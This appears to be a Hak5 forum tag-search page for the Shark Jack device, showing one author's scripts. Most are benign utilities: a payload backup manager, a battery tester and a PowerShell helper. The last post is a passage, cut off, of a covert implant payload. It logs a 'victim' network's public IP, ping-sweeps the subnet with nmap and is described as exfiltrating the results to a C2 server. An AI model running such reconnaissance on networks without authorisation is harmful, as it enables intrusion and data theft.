Jump to content

Search the Community

Showing results for tags 'sharkjack'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Talk
    • Everything Else
    • Gaming
    • Questions
    • Business and Enterprise IT
    • Security
    • Hacks & Mods
    • Applications & Coding
    • Trading Post
  • WiFi Pineapple
    • WiFi Pineapple TETRA
    • WiFi Pineapple NANO
    • WiFi Pineapple Mark V
    • WiFi Pineapple Mark IV
    • Pineapple Modules
    • WiFi Pineapples Mark I, II, III
  • Hak5 Gear
    • Hak5 Cloud C²
    • Plunder Bug
    • Bash Bunny
    • Signal Owl
    • USB Rubber Ducky
    • Packet Squirrel
    • LAN Turtle
    • Screen Crab
    • Shark Jack
  • Hak5 Shows
    • Hak5
    • HakTip
    • Metasploit Minute
    • Threatwire
  • Community
    • Forums and Wiki
    • #Hak5
  • Projects
    • SDR - Software Defined Radio
    • Community Projects
    • Interceptor
    • USB Hacks
    • USB Multipass
    • Pandora Timeshifting

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Enter a five letter word.

Found 5 results

  1. REDD

    [TOOL] SharkLib

    SharkLib - SharkJack Quick Payload Library This Tool was created less than 24 hours after having a "SharkJack", I realized how much of a pain it is to swap back and forth between prior loaded Payloads. So after 7 hours of debugging, testing, and pulling my hair out. - I give to you "SharkLib". SharkLib allows you to Backup/Restore prior loaded Payloads, via SSH Terminal. No more needing to have to "go deploy another script", you can easily use C2 or any SSH Terminal Service to switch your desired payloads. Features: Installs to Local System to allow ease of access of "SharkLib". (/usr/sbin) Syncs on Exit to prevent data corruption in payloads. Easy to use Menu Interface. Switch payloads in seconds with SSH. I will post the Code in here, until Hak5 tells me what "category" this tool falls under in the GitHub Repo. The Code: #!/bin/bash # # Title: SharkLib # Author: REDD of Private-Locker # Version: 1.3 # # This Script is to be ran on the Hak5 SharkJack itself. This Script # makes switching between local stored payloads quick and simple. # VERS=1.3 LIB_DIR="/root/payload/sharklib" DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" START_DIR="$DIR" INSTALL_DIR="/usr/sbin" EXEC_FILE="sharklib" PAYLOAD_DIR="/root/payload" PAYLOAD_FILE="$PAYLOAD_DIR/payload.sh" function install_sharklib() { if [[ "$DIR" != $INSTALL_DIR ]]; then if [ ! -f "$INSTALL_DIR/$EXEC_FILE" ]; then printf " -> Installing SharkLib into System for Easy Access.\n" sleep 1; cp -rf $0 $INSTALL_DIR/$EXEC_FILE printf " -> Fixing Permissions of $EXEC_FILE in $INSTALL_DIR.\n" sleep 1; chmod +x $INSTALL_DIR/$EXEC_FILE fi fi } function view_payload() { printf "\n"; cat "$PAYLOAD_FILE"; printf "\n"; read -n 1 -s -r -p "Press any key to return to Menu.."; sharklib_menu; } function remove_sharklib() { if [ -f "$INSTALL_DIR/$EXEC_FILE" ]; then printf "\n" printf "Removing SharkLib from local system.\n" rm -rf "$INSTALL_DIR/$EXEC_FILE"; printf "Removing SharkLib Payload Library.\n" rm -rf "$LIB_DIR"; printf "SharkLib has been fully removed.\n\n" fi } function free_space() { FREE_MEM="$(df -h $PWD | awk '/[0-9]%/{print $(NF-2)}')" } function header() { free_space; printf "\n" printf "O========================================O\n" printf "| SharkLib - SharkJack Quick Payload |\n" printf "| Library |\n" printf "O=O====================================O=O\n" printf " | %-29s |\n" "$SHARKLIB_TITLE" printf " O====================================O\n" printf " | Free Space: %-6s Vers: %-3s | \n" "$FREE_MEM" "$VERS" printf " O================================O \n" printf " -Huge Thanks goes to Hak5! \n" printf "\n" } function backup_payload() { clear; SHARKLIB_TITLE=" Backup Payloads" header; if [ -f "$PAYLOAD_FILE" ]; then printf "\n" printf " 1. Backup current payload to SharkLib\n" printf "\n" printf " 2. Return to Previous Menu.\n" printf "\n" printf " Select a Menu Item by # and press ENTER: " read BACKUP_INPUT printf "\n" if [ "$BACKUP_INPUT" = "1" ]; then printf " What would you want to call this Payload?: " read BACKUP_INPUT_1 if [[ "$BACKUP_INPUT_1" != "" ]]; then if [ ! -d "$LIB_DIR/$BACKUP_INPUT_1" ]; then mkdir -p "$LIB_DIR/$BACKUP_INPUT_1" cp -rf "$PAYLOAD_FILE" "$LIB_DIR/$BACKUP_INPUT_1/payload.sh" printf " Created Payload directory named $BACKUP_INPUT_1\n" sleep 2; sharklib_menu; else printf " Removing Old Copy and using New Copy of $BACKUP_INPUT_1\n" rm -rf "$LIB_DIR/$BACKUP_INPUT_1" mkdir -p "$LIB_DIR/$BACKUP_INPUT_1" cp -rf "$PAYLOAD_FILE" "$LIB_DIR/$BACKUP_INPUT_1/payload.sh" sleep 2; sharklib_menu; fi else if [ ! -d "$LIB_DIR/Payload" ]; then printf " Backing up Payload into Default Payload directory..\n" mkdir -p "$LIB_DIR/Payload" cp -rf "$PAYLOAD_FILE" "$LIB_DIR/Payload/payload.sh" sleep 2; sharklib_menu; else printf " Removing Old Copy and using New Copy of $LIB_DIR/Payload\n" rm -rf "$LIB_DIR/Payload" mkdir -p "$LIB_DIR/Payload" cp -rf "$PAYLOAD_FILE" "$LIB_DIR/Payload/payload.sh" sleep 2; sharklib_menu; fi fi elif [ "$BACKUP_INPUT" = "2" ]; then sharklib_menu; else backup_payload; fi else printf " No Payload in $PAYLOAD_DIR.\n" fi } function delete_payload() { DELETE_INPUT=NULL clear; SHARKLIB_TITLE=" Delete Payloads" header; cd "$LIB_DIR" DIR_CNT="NULL" DIR_CNT=$(ls "$LIB_DIR" | grep -v total | wc -l) declare -a DIRS i=1 for d in */; do DIRS[i++]="${d%/}" done if [ "$DIR_CNT" -lt "1" ]; then printf " There are no Payloads to Delete. \n\n" printf " Returning to Previous Menu.\n" sleep 2; sharklib_menu; fi printf " There are ${#DIRS[@]} Payloads in SharkLib:\n" for((i=1;i<=${#DIRS[@]};i++)); do printf " %2d. %-20s\n" "$i" "${DIRS[i]}" done PAYLOAD_TOTAL=${#DIRS[@]} PLUS_QUIT=$((PAYLOAD_TOTAL+1)) printf "\n" printf " %2d. %-20s\n" "$PLUS_QUIT" "Return to Previous Menu." printf "\n" printf " Please choose a Payload by Number: " read DELETE_INPUT printf "\n" if [[ "$DELETE_INPUT" == "$PLUS_QUIT" ]]; then printf " Returning to Previous Menu.\n" sleep 2; sharklib_menu; elif [[ "$DELETE_INPUT" == "" ]]; then printf " Please Input a choice.\n" sleep 2; delete_payload; elif ! [[ "$DELETE_INPUT" =~ ^[0-9]+$ ]]; then printf " Please Input a choice.\n" sleep 2; delete_payload; elif [[ "$DELETE_INPUT" == "0" ]]; then printf " Please Input a choice.\n" sleep 2; delete_payload; elif [[ "$DELETE_INPUT" -gt "$PLUS_QUIT" ]]; then printf " Please Input a choice.\n" sleep 2; delete_payload; elif [[ "$DELETE_INPUT" -le "$PLUS_QUIT" ]]; then printf " Deleting payload ${DIRS[$DELETE_INPUT]} from SharkJack. \n" rm -rf "$LIB_DIR/${DIRS[$DELETE_INPUT]}" cd "$START_DIR" sleep 2; sharklib_menu; else printf " Wrong Choice, going back to Previous Menu.\n" cd "$START_DIR" sleep 2; sharklib_menu; fi } function restore_payload() { LOAD_INPUT=NULL clear; SHARKLIB_TITLE=" Restore Payloads" header; cd "$LIB_DIR" DIR_CNT=$(ls "$LIB_DIR" | grep -v total | wc -l) declare -a DIRS i=1 for d in */; do DIRS[i++]="${d%/}" done if [ "$DIR_CNT" -lt "1" ]; then printf " There are no Payloads to Restore. \n\n" printf " Returning to Previous Menu.\n" sleep 2; sharklib_menu; fi printf " There are ${#DIRS[@]} Payloads in SharkLib:\n" for((i=1;i<=${#DIRS[@]};i++)); do printf " %2d. %-20s\n" "$i" "${DIRS[i]}" done PAYLOAD_TOTAL=${#DIRS[@]} PLUS_QUIT=$((PAYLOAD_TOTAL+1)) printf "\n" printf " %2d. %-20s\n" "$PLUS_QUIT" "Return to Previous Menu." printf "\n" printf " Please choose a Payload by Number: " read LOAD_INPUT printf "\n" if [[ "$LOAD_INPUT" == "$PLUS_QUIT" ]]; then printf " Returning to Previous Menu.\n" sleep 2; sharklib_menu; elif [[ "$LOAD_INPUT" == "" ]]; then printf " Please Input a choice.\n" sleep 2; restore_payload; elif ! [[ "$LOAD_INPUT" =~ ^[0-9]+$ ]]; then printf " Please Input a choice.\n" sleep 2; restore_payload; elif [[ "$LOAD_INPUT" == "0" ]]; then printf " Please Input a choice.\n" sleep 2; restore_payload; elif [[ "$LOAD_INPUT" -gt "$PLUS_QUIT" ]]; then printf " Please Input a choice.\n" sleep 2; restore_payload; elif [[ "$LOAD_INPUT" -le "$PLUS_QUIT" ]]; then printf " Loading payload ${DIRS[$LOAD_INPUT]} to SharkJack. \n" cp -rf "$LIB_DIR/${DIRS[$LOAD_INPUT]}/payload.sh" "$PAYLOAD_FILE" cd "$START_DIR" sleep 2; sharklib_menu; else printf " Wrong Choice, going back to Previous Menu.\n" cd "$START_DIR" sleep 2; sharklib_menu; fi } function cleanup_ctrl { echo -en "\n -> Caught SIGINT! \n" printf " -> Cleaning up and Exiting..\n\n" sync sleep 1; exit $? } function exit_sharklib() { printf " -> Cleaning up and Exiting..\n\n" sync sleep 1; exit 0; } function sharklib_menu() { clear; trap cleanup_ctrl SIGINT trap cleanup_ctrl SIGTERM MENU_INPUT=NULL if [ ! -d "$LIB_DIR" ]; then printf " -> Creating SharkLib Payload Library directory.\n" mkdir -p "$LIB_DIR" fi cd "$LIB_DIR" SHARKLIB_TITLE=" By REDD" header; printf " 1. Backup Payload to SharkLib\n" printf " 2. Restore Payload from SharkLib\n" printf " 3. Delete Payload from SharkLib\n" printf "\n" printf " 4. View Current Payload on SharkJack\n" printf "\n" printf " 5. Exit\n" printf "\n" printf " Select a Menu Item by # and press ENTER: " read MENU_INPUT printf "\n" if ! [[ "$MENU_INPUT" =~ ^[0-9]+$ ]]; then sharklib_menu; elif [[ "$MENU_INPUT" = "0" ]]; then sharklib_menu; elif [[ "$MENU_INPUT" = "1" ]]; then backup_payload; elif [[ "$MENU_INPUT" = "2" ]]; then restore_payload; elif [[ "$MENU_INPUT" = "3" ]]; then delete_payload; elif [[ "$MENU_INPUT" = "4" ]]; then view_payload; elif [[ "$MENU_INPUT" = "5" ]]; then exit_sharklib; elif [[ "$MENU_INPUT" -ge "6" ]]; then sharklib_menu; elif [[ "$MENU_INPUT" == "" ]]; then sharklib_menu; else sharklib_menu; fi } if [ "$1" == "--install" ]; then install_sharklib; exit 0; elif [ "$1" == "--remove" ]; then remove_sharklib; else install_sharklib; sharklib_menu; fi Suggestions are always welcome! Huge Thanks to Hak5 for the wonderful gear! REDD (Ar1k88)
  2. Battery Tester/CPU Stress For the SharkJack I keep seeing people talk about how the battery lasts less then 10 minutes, etc etc etc.. I made a script to test and prove the Battery Drains incredibly fast under load. Further more... The Script.. (NOTE: This Script should be ran on the SharkJack itself!) battery-tester.sh #!/bin/bash # Title : Battery Tester/CPU Stress # Author : REDD of Private-Locker # Version : 1.1 # Description : The script uses a simple log system to pull the # batteries status, date, and time into a log file for Hak5 # to help diagnose the issues. Also uses "sha256sum" to verify # a null file leaving it to stress the CPU. # # Log File : /root/battery.log # Set to YES to stress the CPU during Battery Test. MAX_LOAD=YES STRESS="sha256sum" # Time in seconds to report in log. (20 mins = 1200) TIME=600 # Initial Script Variables - DO NOT CHANGE UNDER_LOAD=0 DATE_NOW=$(date +'%r') START_TIME=$(date) CPU_USAGE=$(grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}') BATTERY_STATUS=$(BATTERY) LOG_FILE="/root/battery.log" function DISPLAY_TIME () { MINS=$((TIME / 60)) SECS=$((TIME % 60)) if [ "$TIME" -ge "60" ]; then printf "$MINS minutes and $SECS seconds" else printf "$SECS seconds" fi } TOTAL_TIME=$(DISPLAY_TIME "$TIME") if [ ! -f "$LOG_FILE" ]; then touch "$LOG_FILE" fi if [ -f "$LOG_FILE" ]; then echo -e "" >> "$LOG_FILE" echo -e " Battery Test Date: $START_TIME" >> "$LOG_FILE" echo -e "==================================================" >> "$LOG_FILE" echo -e "" >> "$LOG_FILE" echo -e "" echo -e " Battery Test Date: $START_TIME" echo -e "\n Battery Test running for $TOTAL_TIME." echo -e " Battery Test running for $TOTAL_TIME." >> "$LOG_FILE" echo -e " Battery Status: $BATTERY_STATUS" echo -e " Battery Status: $BATTERY_STATUS" >> "$LOG_FILE" echo -e "" if [ "$MAX_LOAD" == "YES" ]; then echo -e "\n\n -> LOAD created by $STRESS." echo -e " -> LOAD created by $STRESS." >> "$LOG_FILE" echo -e "" >> "$LOG_FILE" echo -e "==================================================" >> "$LOG_FILE" echo -e "" >> "$LOG_FILE" fi echo -e "" >> "$LOG_FILE" fi echo -e "[${DATE_NOW}] -> LOAD: $MAX_LOAD - CPU Load: ${CPU_USAGE} [Battery Status: ${BATTERY_STATUS}]" >> "$LOG_FILE" for ((i=0; i<=TIME; i++)); do if [ "$MAX_LOAD" == "YES" ]; then if [ "$UNDER_LOAD" == "0" ]; then UNDER_LOAD=1 $STRESS /dev/zero & fi fi DATE_NOW=$(date +'%r') CPU_USAGE=$(grep 'cpu ' /proc/stat | awk '{usage=($2+$4)*100/($2+$4+$5)} END {print usage "%"}') BATTERY_STATUS=$(BATTERY) printf "[%s%s] -> LOAD: %s - CPU Load: %s [Battery Status: %s]\r" $DATE_NOW $MAX_LOAD $CPU_USAGE $BATTERY_STATUS echo -e "[${DATE_NOW}] -> LOAD: $MAX_LOAD - CPU Load: ${CPU_USAGE} [Battery Status: ${BATTERY_STATUS}]" >> "$LOG_FILE" sleep 1; done if [ "$UNDER_LOAD" == "1" ]; then killall -9 $STRESS fi echo -e "" >> "$LOG_FILE" echo -e "==================================================" >> "$LOG_FILE" echo -e "" >> "$LOG_FILE" # Blank line for running in Terminal. printf " \n" printf "Finished.\n" Output Example: Battery Test Date: Tue Jan 28 13:47:30 UTC 2020 ================================================== Battery Test running for 10 seconds. Battery Status: full [01:47:30 PM] -> LOAD: NO - CPU Load: 18.0325% [Battery Status: full] [01:47:30 PM] -> LOAD: NO - CPU Load: 18.0437% [Battery Status: full] [01:47:31 PM] -> LOAD: NO - CPU Load: 18.0428% [Battery Status: full] [01:47:32 PM] -> LOAD: NO - CPU Load: 18.0432% [Battery Status: full] [01:47:33 PM] -> LOAD: NO - CPU Load: 18.0469% [Battery Status: full] [01:47:34 PM] -> LOAD: NO - CPU Load: 18.0515% [Battery Status: full] [01:47:35 PM] -> LOAD: NO - CPU Load: 18.0556% [Battery Status: full] [01:47:37 PM] -> LOAD: NO - CPU Load: 18.0596% [Battery Status: full] [01:47:38 PM] -> LOAD: NO - CPU Load: 18.0641% [Battery Status: full] [01:47:39 PM] -> LOAD: NO - CPU Load: 18.0678% [Battery Status: full] [01:47:40 PM] -> LOAD: NO - CPU Load: 18.0718% [Battery Status: full] [01:47:41 PM] -> LOAD: NO - CPU Load: 18.0759% [Battery Status: full] ================================================== I really hope this helps everyone else in their troubles in finding out if their Battery is just defective or it's just "Under Load" that makes it so short.
  3. Sharkjack.ps1 This is a rewritten (Windows) PowerShell version of Hak5's "sharkjack.sh". Compliments to Hak5 for the Device and the original script. I only take credit for rewriting the script to support Windows. Please Note: SharkLib Options are DISABLED until Hak5 merges SharkLib into the GitHub. If you are having problems getting the file to run. See Post #3. (If you have multiple SharkJacks, type "clearssh" in menu to clear your "known hosts" SSH File of the SharkJack's Fingerprint. Then try to reconnect using SSH via option #5) sharkjack.ps1 # Title: SharkJack Helper Script (PowerShell) # Author: Hak5 (rewritten for Windows by REDD) # Version: 1.2 # Remove for Debugging purposes. $ErrorActionPreference = "SilentlyContinue" # Base Script Variables - DO NOT CHANGE Write-Host "Initializing... One Moment Please..." $console = $host.ui.rawui $console.backgroundcolor = "Black" $console.foregroundcolor = "Green" $colors = $host.privatedata $colors.verbosebackgroundcolor = "Yellow" $colors.verboseforegroundcolor = "Black" $colors.warningbackgroundcolor = "Red" $colors.warningforegroundcolor = "white" $colors.ErrorBackgroundColor = "DarkCyan" $colors.ErrorForegroundColor = "Yellow" $DIR = Convert-Path . # Script Variables $SHARKJACK_IP = "172.16.24.1" $REMOTE_PAYLOAD = "root@$SHARKJACK_IP`:/root/payload/payload.sh" $UPGRADE_FILE = 'https://downloads.hak5.org/api/devices/sharkjack/firmwares/1.1.0' $BASEFILENAME = "upgrade-1.1.0.bin" $FIRMWARE_SHA = "03638c7937a1718b6535116eac8b0a75f2a79054e61dc401af56b51da2044386" $PAYLOADDIR = $DIR+'\library' $MENU_SELECTION = 0 $CIRCLE = ([char]8226) Function Header_Ascii { Write-Host "" Write-Host " ########################################################" Write-Host "" Write-Host "" Write-Host " \_____)\_____ Shark Jack _____/(_____/" Write-Host " /--v____ __$CIRCLE< by Hak5 >$($CIRCLE)__ ____v--\" Write-Host " )/ \(" Write-Host "" Write-Host "" Write-Host " ########################################################" Write-Host " Windows Version by REDD" Write-Host "" } Function Initialize { $CONN_SUCC = 0 $LOOP = 0 while ($CONN_SUCC -eq 0) { $connection = Test-Connection "$SHARKJACK_IP" -Count 1 -Quiet If ($connection -eq $true) { Write-Host "SharkJack detected.." Start-Sleep -s 2 $CONN_SUCC = 1; } ElseIf ($connection -eq $false) { If ($LOOP -eq 0) { Write-Host -NoNewline "Please Connect the SharkJack in Arming Mode.." Start-Sleep -s 2 $LOOP = 1; } Else { Write-Host -NoNewline "." Start-Sleep -s 2 } } } } Function Download_Repo { Write-Host "Checking if Connection to Internet is possible with SharkJack connected." Write-Host "" Write-Host "Please Wait.." Write-Host "" $HTTP_Request = [System.Net.WebRequest]::Create('http://google.com') $HTTP_Response = $HTTP_Request.GetResponse() $HTTP_Status = [int]$HTTP_Response.StatusCode If ($HTTP_Status -eq 200) { Write-Host " -> Connection established!" $Connection_Check = 1 } Else { Write-Host " -> Connection Failed!" $Connection_Check = 0 } If ($HTTP_Response -eq $null) { } Else { $HTTP_Response.Close() } Write-Host "" if ( $Connection_Check -eq 1 ) { if (!(Test-Path $PAYLOADDIR)) { Write-Host "Downloading Payload Library from GitHub.. Please Wait." $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("https://github.com/hak5/sharkjack-payloads/archive/master.zip","$DIR\master.zip") Write-Host "Extracting Payload Library.." Expand-Archive -LiteralPath $DIR\master.zip -DestinationPath $DIR Get-ChildItem -Path "$DIR\sharkjack-payloads-master" | Copy-Item -Force -Destination "$DIR" -Recurse -Container Get-ChildItem -Path "$DIR\sharkjack-payloads-master\payloads" | Copy-Item -Force -Destination "$DIR" -Recurse -Container Remove-Item $DIR\sharkjack-payloads-master -Force -Recurse -ErrorAction SilentlyContinue Remove-Item $DIR\payloads -Force -Recurse -ErrorAction SilentlyContinue Write-Host "Cleaning up Repo Files.." Remove-Item -path $DIR\master.zip -force Remove-Item -path $DIR\README.md -force Remove-Item -path $DIR\sharkjack.sh -force Write-Host "Finished." Start-Sleep -s 2 } Else { Write-Host "Payload Directory is already present in current Folder." Start-Sleep -s 2 } } Else { Write-Host " Disconnect the SharkJack from the PC OR Set your Internet to" Write-Host " the correct configurations, and try again." Start-Sleep -s 15 } } Function Copy_Payload { if (!(Test-Path $PAYLOADDIR)) { Write-Host "No Payload Library downloaded. Starting Downloading Process." Start-Sleep -s 2 Download_Repo } Initialize $MAINFOLDERS = @(Get-ChildItem $PAYLOADDIR | Select Name | Sort @{Expression={$_.name.length}} -Descending | Out-GridView -Title 'Choose a Directory' -PassThru | Select -ExpandProperty "Name") if (!($MAINFOLDERS)) { Write-Host "ERROR: Please Select a Folder."; Start-Sleep -s 2; Menu-Function } $PAYLOADSELECTDIR = @(Get-ChildItem $PAYLOADDIR\$MAINFOLDERS | Select Name | Sort @{Expression={$_.name.length}} -Descending | Out-GridView -Title 'Choose a Payload' -PassThru | Select -ExpandProperty "Name") if (!($PAYLOADSELECTDIR)) { Write-Host "ERROR: Please Select a Payload."; Start-Sleep -s 2; Menu-Function } $SELECTED_PAYLOAD = $PAYLOADDIR+'\'+$MAINFOLDERS+'\'+$PAYLOADSELECTDIR+'\payload.sh' Write-Host "Copying ->" Write-Host "Source Payload: $SELECTED_PAYLOAD" Write-Host "Destin Payload: $DIR\payload.sh" Write-Host "Remote Payload: $REMOTE_PAYLOAD" Write-Host "" Copy-Item "$SELECTED_PAYLOAD" -Destination "$DIR\payload.sh" Write-Host "Attempting to Push Payload to SharkJack.." scp "$DIR\payload.sh" "$REMOTE_PAYLOAD" Write-Host "Finished." Start-Sleep -s 2 Menu-Function } Function Copy_Dir_Payload { $Current_Payload = $DIR+'\payload.sh' if (!(Test-Path "$Current_Payload" -PathType Leaf)) { Write-Host "No $Current_Payload exists." Start-Sleep -s 7 } Else { Initialize Write-Host "Attempting to Push Payload to SharkJack.." scp "$DIR\payload.sh" "$REMOTE_PAYLOAD" Write-Host "Finished." Start-Sleep -s 2 Menu-Function } } Function Connect_SharkJack { Initialize Write-Host "Attempting to Connect (SSH) to the SharkJack.." ssh "root`@$SHARKJACK_IP" Write-Host "Done." Start-Sleep -s 2 Menu-Function } Function Clean_Known_Hosts { Write-Host "Clearing old SSH Keys for SharkJack. Please Wait.." Get-Content $env:userprofile\.ssh\known_hosts | select-string -pattern "$SHARKJACK_IP" -notmatch | Out-File $env:userprofile\.ssh\known_hosts.new Copy-Item "$env:userprofile\.ssh\known_hosts" -Destination "$env:userprofile\.ssh\known_hosts.bk" Remove-Item -path $env:userprofile\.ssh\known_hosts -force Copy-Item "$env:userprofile\.ssh\known_hosts.new" -Destination "$env:userprofile\.ssh\known_hosts" Remove-Item -path $env:userprofile\.ssh\known_hosts.new -force Write-Host "Removed old SSH Keys for SharkJack. Try to connect again via SSH." Start-Sleep -s 3 Menu-Function } Function Connect_SharkJack_Web { Initialize Write-Host "Attempting to Launch Browser to connect to SharkJack.." start "http://$SHARKJACK_IP/cgi-bin/status.sh" Menu-Function } Function Update_SharkJack { Write-Host "Checking if Connection to Internet is possible with SharkJack connected." Write-Host "" Write-Host "Please Wait.." Write-Host "" $HTTP_Request = [System.Net.WebRequest]::Create('http://google.com') $HTTP_Response = $HTTP_Request.GetResponse() $HTTP_Status = [int]$HTTP_Response.StatusCode If ($HTTP_Status -eq 200) { Write-Host " -> Connection established!" $Connection_Check = 1 } Else { Write-Host " -> Connection Failed!" $Connection_Check = 0 } If ($HTTP_Response -eq $null) { } Else { $HTTP_Response.Close() } If ( $Connection_Check -eq 1 ) { $FIRMWARE_FILE = $DIR+'\'+$BASEFILENAME Write-Host "Downloading Firmware from $UPGRADE_FILE" $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("$UPGRADE_FILE","$FIRMWARE_FILE") Write-Host "Checking SHA256 of $FIRMWARE_FILE" $CHK_DOWNLOAD = (Get-FileHash -Path $FIRMWARE_FILE -Algorithm "SHA256" -ErrorAction Stop).Hash If ($CHK_DOWNLOAD -ne $FIRMWARE_SHA) { Write-Host "SHA265 DOES NOT MATCH! Deleting $BASEFILENAME" del "$FIRMWARE_FILE" Write-Host "Done. Please Retry again." Start-Sleep -s 5 Menu-Function } Else { Write-Host "SHA256 Matches! Continuing Upgrade.." Write-Host "" Write-Host "Attempting to start the Upgrade Process.." Write-Host "------------------------------------------------------" Write-Host "PLEASE ONLY DO THIS IF YOU KNOW WHAT VERSION YOUR" Write-Host "SHARKJACK IS ON." Write-Host "" $Confirm_Update = Read-Host "THIS WILL ERASE EVERYTHING ON THE SHARKJACK! ARE YOU SURE? (y/[N])" Switch ($Confirm_Update) { Y {Write-host "Confirmed!"; $Update_Confirm_Status = 1} N {Write-Host "Not Confirmed!"; $Update_Confirm_Status = 0} Default {Write-Host "No Input detected. Defaulting to NO."; $Update_Confirm_Status = 0} } If ( $Update_Confirm_Status -eq 1 ) { Initialize Write-Host "Wait 5-10 minutes as the Shark Jack flashes the firmware and reboots." Write-Host "DO NOT unplug the device from USB power during this process as doing so will render the device inoperable." Write-Host "" Write-Host "Pushing $BASEFILENAME to SharkJack." scp "$FIRMWARE_FILE" "root`@$SHARKJACK_IP`:/tmp/$BASEFILENAME" Write-Host "Initializing Upgrade.." ssh "root`@$SHARKJACK_IP" "sysupgrade -n /tmp/$BASEFILENAME" Write-Host "Upgrade started.. Waiting 30s.." Start-Sleep -s 30 Write-Host "Wait for SharkJack to start in Arming Mode.." Write-Host "" Write-Host "Once SharkJack has shut itself down.. It will reboot." Start-Sleep -s 2; Initialize } Else { Write-Host "Returning to Menu." Start-Sleep -s 2 Menu-Function } } } Else { Write-Host " Disconnect the SharkJack from the PC OR Set your Internet to" Write-Host " the correct configurations, and try again." Start-Sleep -s 15 } } Function Cleanup { if (Test-Path $PAYLOADDIR) { Write-Host "Found $PAYLOADDIR.. Removing.." Remove-Item $PAYLOADDIR -Force -Recurse -ErrorAction SilentlyContinue } if (Test-Path $DIR\sharkjack.sh) { Write-Host "Found sharkjack.sh.. Removing.." Remove-Item $DIR\sharkjack.sh -Force } if (Test-Path $DIR\$BASEFILENAME) { Write-Host "Found $BASEFILENAME.. Removing.." Remove-Item $DIR\$BASEFILENAME -Force } if (Test-Path $DIR\payload.sh) { Write-Host "Found payload.sh.. Removing.." Remove-Item $DIR\payload.sh -Force } Write-Host "Everything cleaned up." Start-Sleep -s 2 Menu-Function } Function Disabled_Func { Write-Host "" Write-Host "ERROR: Sorry the Selection you made has been disabled." Write-Host "ERROR: Please contact REDD or Hak5 regarding this message." Write-Host "" Start-Sleep -s 5 Menu-Function } Function Menu-Function { $MENU_SELECTION = 0 clear Header_Ascii $type=Read-Host " 1 - [D]ownload Payload Library from GitHub 2 - Install SharkLib to Shark[J]ack 3 - Remove Shark[L]ib from SharkJack 4 - [C]opy Payload to SharkJack (Interactive) 5 - Copy [P]ayload from SharkJack.ps1 Directory 6 - Connect to SharkJack [S]SH 7 - Connect to SharkJack [W]eb UI (1.0.1+) 8 - [U]pdate SharkJack 9 - [R]emove ALL Downloaded Files 0 - [E]xit Please select a # OR [L]etter and press ENTER" Switch ($type){ 1 {$MENU_SELECTION = 1; Download_Repo} D {$MENU_SELECTION = 1; Download_Repo} 2 {$MENU_SELECTION = 1; Disabled_Func} 3 {$MENU_SELECTION = 1; Disabled_Func} 4 {$MENU_SELECTION = 1; Copy_Payload} C {$MENU_SELECTION = 1; Copy_Payload} 5 {$MENU_SELECTION = 1; Copy_Dir_Payload} P {$MENU_SELECTION = 1; Copy_Dir_Payload} 6 {$MENU_SELECTION = 1; Connect_SharkJack} S {$MENU_SELECTION = 1; Connect_SharkJack} 7 {$MENU_SELECTION = 1; Connect_SharkJack_Web} W {$MENU_SELECTION = 1; Connect_SharkJack_Web} 8 {$MENU_SELECTION = 1; Update_SharkJack} U {$MENU_SELECTION = 1; Update_SharkJack} 9 {$MENU_SELECTION = 1; Cleanup} R {$MENU_SELECTION = 1; Cleanup} clearssh { $MENU_SELECTION = 1; Clean_Known_Hosts} E { Write-Host "Exiting.. Please Wait."; Exit } 0 { Write-Host "Exiting.. Please Wait."; Exit } } } Initialize while ($MENU_SELECTION -eq 0) { Menu-Function }
  4. Nmap Quickscan (Cleaned & C2 Enabled) This is a cleaned up output version of the Original Nmap Scan that Hak5 introduces us to. The Payload waits for "Internet Connection" to be present. Once Internet Connection is found, It scans the local subnet for any online devices. - While also logging the Public IP of the Victim's Network (Very useful when you are scanning multiple networks in a short amount of time.) payload.sh #!/bin/bash # Title: Nmap Quickscan (Cleaned & C2 Enabled) # Author: REDD of Private-Locker # Version: 1.0 # # This is a cleaned up output version of the Original Nmap Scan that Hak5 introduces us to. # The Payload waits for "Internet Connection" to be present. Once Internet Connection is found, # It scans the local subnet for any online devices. - While also logging the Public IP of the # Victim's Network (Very useful when you are scanning multiple networks in a short amount of time.) # # Magenta w/ Yellow ........Waiting for Internet # Yellow flashing...........Scanning # Blue......................Exfiltrating to C2 # Red.......................Failed C2/EXFIL/Scanning # Green.....................Finished if [ -f "/etc/device.config" ]; then INITIALIZED=1 else INITIALIZED=0 fi LED SETUP NETMODE DHCP_CLIENT while ! ifconfig eth0 | grep "inet addr"; do LED Y SOLID; sleep .2; LED M SOLID; sleep .8; done URL="http://www.google.com" while ! wget $URL -qO /dev/null; do sleep 1; done GET_GATEWAY=$(route -n | grep 'UG[ \t]' | awk '{print $2}') while [ $GET_GATEWAY == "" ]; do sleep 1; done INTERNAL_IP=$(ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p') SUBNET=$(echo "$GET_GATEWAY" | awk -F"." '{print $1"."$2"."$3".0/24"}') CHK_SUB=$(echo $INTERNAL_IP | cut -d"." -f1-3) FIN_SUB="${CHK_SUB}.0/24" LED ATTACK; if [ "$SUBNET" != "$FIN_SUB" ]; then LED R FAST; sleep 2; LED R SOLID; else if [ ! -d "$LOOT_DIR" ]; then mkdir -p "$LOOT_DIR" fi if [ ! -f "$LOOT_FILE" ]; then touch "$LOOT_FILE" fi # Fix for Timestamp Update ntpd -gq; sleep 1; DATE_FORMAT=$(date '+%m-%d-%Y_%H:%M:%S') LOOT_DIR="/root/loot/nmap-diag" LOOT_FILE="$LOOT_DIR/diag-${DATE_FORMAT}.txt" PUBLIC_IP=$(wget -q "http://api.ipify.org" -O -) printf "\n Public IP: ${PUBLIC_IP}\n Online Devices for ${SUBNET}:\n--------------------------------------------\n\n" >> "$LOOT_FILE" nmap -sn --privileged "$SUBNET" --exclude "$INTERNAL_IP" | awk '/Nmap scan report for/{printf " -> ";printf $5;}/MAC Address:/{print " - "substr($0, index($0,$3)) }' >> "$LOOT_FILE" if [ -s "$LOOT_FILE" ]; then if [ 